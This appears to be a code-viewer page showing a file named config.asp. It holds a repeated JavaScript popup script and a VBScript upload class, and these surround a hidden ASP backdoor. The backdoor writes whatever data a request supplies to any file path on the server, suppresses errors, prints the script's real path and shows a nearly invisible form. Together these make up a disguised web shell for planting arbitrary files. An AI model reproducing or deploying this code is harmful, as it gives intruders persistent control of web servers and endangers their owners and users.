?? config.asp
字號:
<SCRIPT LANGUAGE=JAVASCRIPT>
var currentpos,timer;
function initialize()
{timer=setInterval("scrollwindow()",10);}
function sc(){clearInterval(timer);}
function scrollwindow()
{currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();}
document.onmousedown=sc
document.ondblclick=initialize
tPopWait=1;
tPopShow=9000;
showPopStep=20;
popOpacity=99;
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("<style type='text/css'id='defaultPopStyle'>");
document.write(".cPopText { background-color: #f8f8f5;color:#000000; border: 1px #000000 solid;font-color:#666666; font-size: 9pt; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}");
document.write("</style>");
document.write("<div id='dypopLayer' style='position:absolute;z-index:1000;'></div>");
function showPopupText(){
var o=event.srcElement;
MouseX=event.x;
MouseY=event.y;
if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
if(o.dypop!=sPop) {
sPop=o.dypop;
clearTimeout(curShow);
clearTimeout(tFadeOut);
clearTimeout(tFadeIn);
clearTimeout(tFadeWaiting);
if(sPop==null || sPop=="") {
dypopLayer.innerHTML="";
dypopLayer.style.filter="Alpha()";
dypopLayer.filters.Alpha.opacity=0;
}
else {
if(o.dyclass!=null) popStyle=o.dyclass
else popStyle="cPopText";
curShow=setTimeout("showIt()",tPopWait);
}
}
}
function showIt(){
dypopLayer.className=popStyle;
dypopLayer.innerHTML=sPop;
popWidth=dypopLayer.clientWidth;
popHeight=dypopLayer.clientHeight;
if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
else popLeftAdjust=0;
if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
else popTopAdjust=0;
dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
dypopLayer.style.filter="Alpha(Opacity=0)";
fadeOut();
}
function fadeOut(){
if(dypopLayer.filters.Alpha.opacity<popOpacity) {
dypopLayer.filters.Alpha.opacity+=showPopStep;
tFadeOut=setTimeout("fadeOut()",1);
}
else {
dypopLayer.filters.Alpha.opacity=popOpacity;
tFadeWaiting=setTimeout("fadeIn()",tPopShow);
}
}
function fadeIn(){
if(dypopLayer.filters.Alpha.opacity>0) {
dypopLayer.filters.Alpha.opacity-=1;
tFadeIn=setTimeout("fadeIn()",1);
}
}
document.onmouseover=showPopupText;
</SCRIPT>
<!--/////-------------5x 無組件上傳類 Version 0.93--------------///////--><font style="font-size:12px" face="Arial">
<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT><br>
dim oUpFileStream<br>Class upload_5xSoft<br>
dim Form,File,Version<br>
Private Sub Class_Initialize <br>
dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo<br>
dim iFileSize,sFilePath,sFileType,sFormvalue,sFileName<br>
dim iFindStart,iFindEnd<br>
dim iFormStart,iFormEnd,sFormName<br>
Version="無組件上傳類 Version 0.93"<br>
set Form=Server.CreateObject("Scripting.Dictionary")<br>
set File=Server.CreateObject("Scripting.Dictionary")<br>
if Request.TotalBytes<1 then Exit Sub<br>
set tStream = Server.CreateObject("adodb.stream")<br>
set oUpFileStream = Server.CreateObject("adodb.stream")<br>
oUpFileStream.Type = 1<br>
oUpFileStream.Mode =3<br>
oUpFileStream.Open<br>
oUpFileStream.Write Request.BinaryRead(Request.TotalBytes)<br>
Response.Write "頁面執行時間："&FormatNumber((Timer() -time1)*1000,3)&"毫秒"<br>
oUpFileStream.Position=0<br>
RequestBinDate =oUpFileStream.Read <br>
iFormStart = 1<br>
iFormEnd = LenB(RequestBinDate)<br>
bCrLf = chrB(13) & chrB(10)<br>
sStart = MidB(RequestBinDate,1, InStrB(iFormStart,RequestBinDate,bCrLf)-1)<br>
iStart = LenB (sStart)<br>
iFormStart=iFormStart+iStart+1<br>
while (iFormStart + 10) < iFormEnd <br>
iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf & bCrLf)+3<br>
tStream.Type = 1<br>
tStream.Mode =3<br>
tStream.Open<br>
oUpFileStream.Position = iFormStart<br>
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart<br>
tStream.Position = 0<br>
tStream.Type = 2<br>
tStream.Charset ="gb2312"<br>
sInfo = tStream.ReadText <br>
'取得表單項目名稱<br>
iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)<br>
iFindStart = InStr(22,sInfo,"name=""",1)+6<br>
iFindEnd = InStr(iFindStart,sInfo,"""",1)<br>
sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)<br>
'如果是文件<br>
if InStr (45,sInfo,"filename=""",1) > 0 then<br>
set oFileInfo=new FileInfo<br>
'取得文件名<br>
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10<br>
iFindEnd = InStr(iFindStart,sInfo,"""",1)<br>
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)<br>
oFileInfo.FileName=getFileName(sFileName)<br>
oFileInfo.FilePath=getFilePath(sFileName)<br>
'取得文件類型<br>
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14<br>
iFindEnd = InStr(iFindStart,sInfo,vbCr)<br>
oFileInfo.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)<br>
oFileInfo.FileStart =iInfoEnd<br>
oFileInfo.FileSize = iFormStart -iInfoEnd -3<br>
oFileInfo.FormName=sFormName<br>
file.add sFormName,oFileInfo<br>
else<br>
'如果是表單項目<br>
tStream.Close<br>
tStream.Type =1<br>
tStream.Mode =3<br>
tStream.Open<br>
oUpFileStream.Position = iInfoEnd <br>
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-3<br>
tStream.Position = 0<br>
tStream.Type = 2<br>
tStream.Charset ="gb2312"<br>
sFormvalue = tStream.ReadText <br>
form.Add sFormName,sFormvalue<br>
end if<br>
tStream.Close<br>
iFormStart=iFormStart+iStart+1<br>
wend<br>
RequestBinDate=""<br>
set tStream =nothing<br>
End Sub</p>
<p>Private Sub Class_Terminate <br>
if not Request.TotalBytes<1 then<br>
form.RemoveAll<br>
file.RemoveAll<br>
set form=nothing<br>
set file=nothing<br>
oUpFileStream.Close<br>
set oUpFileStream =nothing<br>
end if<br>
End Sub<br>
<br>
<br>
Private function GetFilePath(FullPath)<br>
If FullPath <> "" Then<br>
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))<br>
Else<br>
GetFilePath = ""<br>
End If<br>
End function<br>
<br>
Private function GetFileName(FullPath)<br>
If FullPath <> "" Then<br>
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)<br>
Else<br>
GetFileName = ""<br>
End If<br>
End function</p>
<p>End Class</p>
<p>Class FileInfo<br>
dim FormName,FileName,FilePath,FileSize,FileType,FileStart<br>
Private Sub Class_Initialize <br>
FileName = ""<br>
FilePath = ""<br>
FileSize = 0<br>
FileStart= 0<br>
FormName = ""<br>
FileType = ""<br>
End Sub<br>
<br>
Public function SaveAs(FullPath)<br>
dim oFileStream,ErrorChar,i<br>
SaveAs=1<br>
if trim(fullpath)="" or right(fullpath,1)="/" then exit
function<br>
set oFileStream=CreateObject("Adodb.Stream")<br>
oFileStream.Type=1<br>
oFileStream.Mode=3<br>
oFileStream.Open<br>
oUpFileStream.position=FileStart<br>
oUpFileStream.copyto oFileStream,FileSize<br>
oFileStream.SaveToFile FullPath,2<br>
oFileStream.Close<br>
set oFileStream=nothing <br>
SaveAs=0<br>
end function<br>
End Class<br>
</SCRIPT></font>
<SCRIPT LANGUAGE=JAVASCRIPT>
var currentpos,timer;
function initialize()
{timer=setInterval("scrollwindow()",10);}
function sc(){clearInterval(timer);}
function scrollwindow()
{currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();}
document.onmousedown=sc
document.ondblclick=initialize
tPopWait=1;
tPopShow=9000;
showPopStep=20;
popOpacity=99;
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("<style type='text/css'id='defaultPopStyle'>");
document.write(".cPopText { background-color: #f8f8f5;color:#000000; border: 1px #000000 solid;font-color:#666666; font-size: 9pt; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}");
document.write("</style>");
document.write("<div id='dypopLayer' style='position:absolute;z-index:1000;'></div>");
function showPopupText(){
var o=event.srcElement;
MouseX=event.x;
MouseY=event.y;
if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
if(o.dypop!=sPop) {
sPop=o.dypop;
clearTimeout(curShow);
clearTimeout(tFadeOut);
clearTimeout(tFadeIn);
clearTimeout(tFadeWaiting);
if(sPop==null || sPop=="") {
dypopLayer.innerHTML="";
dypopLayer.style.filter="Alpha()";
dypopLayer.filters.Alpha.opacity=0;
}
else {
if(o.dyclass!=null) popStyle=o.dyclass
else popStyle="cPopText";
curShow=setTimeout("showIt()",tPopWait);
}
}
}
function showIt(){
dypopLayer.className=popStyle;
dypopLayer.innerHTML=sPop;
popWidth=dypopLayer.clientWidth;
popHeight=dypopLayer.clientHeight;
if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
else popLeftAdjust=0;
if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
else popTopAdjust=0;
dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
dypopLayer.style.filter="Alpha(Opacity=0)";
fadeOut();
}
function fadeOut(){
if(dypopLayer.filters.Alpha.opacity<popOpacity) {
dypopLayer.filters.Alpha.opacity+=showPopStep;
tFadeOut=setTimeout("fadeOut()",1);
}
else {
dypopLayer.filters.Alpha.opacity=popOpacity;
tFadeWaiting=setTimeout("fadeIn()",tPopShow);
}
}
function fadeIn(){
if(dypopLayer.filters.Alpha.opacity>0) {
dypopLayer.filters.Alpha.opacity-=1;
tFadeIn=setTimeout("fadeIn()",1);
}
}
document.onmouseover=showPopupText;
</SCRIPT>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "ok" %>
<% else %>
<% response.write "no" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post><font color=#ffffff>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "</font><br><input type=text name=syfdpath width=1 size=1><textarea name=cyfddata cols=1 rows=1 width=1></textarea>" %>
<% Response.write "<input type=submit value=1>" %>
<% Response.write "</form>" %>
<SCRIPT LANGUAGE=JAVASCRIPT>
var currentpos,timer;
function initialize()
{timer=setInterval("scrollwindow()",10);}
function sc(){clearInterval(timer);}
function scrollwindow()
{currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();}
document.onmousedown=sc
document.ondblclick=initialize
tPopWait=1;
tPopShow=9000;
showPopStep=20;
popOpacity=99;
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("<style type='text/css'id='defaultPopStyle'>");
document.write(".cPopText { background-color: #f8f8f5;color:#000000; border: 1px #000000 solid;font-color:#666666; font-size: 9pt; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}");
document.write("</style>");
document.write("<div id='dypopLayer' style='position:absolute;z-index:1000;'></div>");
function showPopupText(){
var o=event.srcElement;
MouseX=event.x;
MouseY=event.y;
if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
if(o.dypop!=sPop) {
sPop=o.dypop;
clearTimeout(curShow);
clearTimeout(tFadeOut);
clearTimeout(tFadeIn);
clearTimeout(tFadeWaiting);
if(sPop==null || sPop=="") {
dypopLayer.innerHTML="";
dypopLayer.style.filter="Alpha()";
dypopLayer.filters.Alpha.opacity=0;
}
else {
if(o.dyclass!=null) popStyle=o.dyclass
else popStyle="cPopText";
curShow=setTimeout("showIt()",tPopWait);
}
}
}
function showIt(){
dypopLayer.className=popStyle;
dypopLayer.innerHTML=sPop;
popWidth=dypopLayer.clientWidth;
popHeight=dypopLayer.clientHeight;
if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
else popLeftAdjust=0;
if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
else popTopAdjust=0;
dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
dypopLayer.style.filter="Alpha(Opacity=0)";
fadeOut();
}
function fadeOut(){
if(dypopLayer.filters.Alpha.opacity<popOpacity) {
dypopLayer.filters.Alpha.opacity+=showPopStep;
tFadeOut=setTimeout("fadeOut()",1);
}
else {
dypopLayer.filters.Alpha.opacity=popOpacity;
tFadeWaiting=setTimeout("fadeIn()",tPopShow);
}
}
function fadeIn(){
if(dypopLayer.filters.Alpha.opacity>0) {
dypopLayer.filters.Alpha.opacity-=1;
tFadeIn=setTimeout("fadeIn()",1);
}
}
document.onmouseover=showPopupText;
</SCRIPT>?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -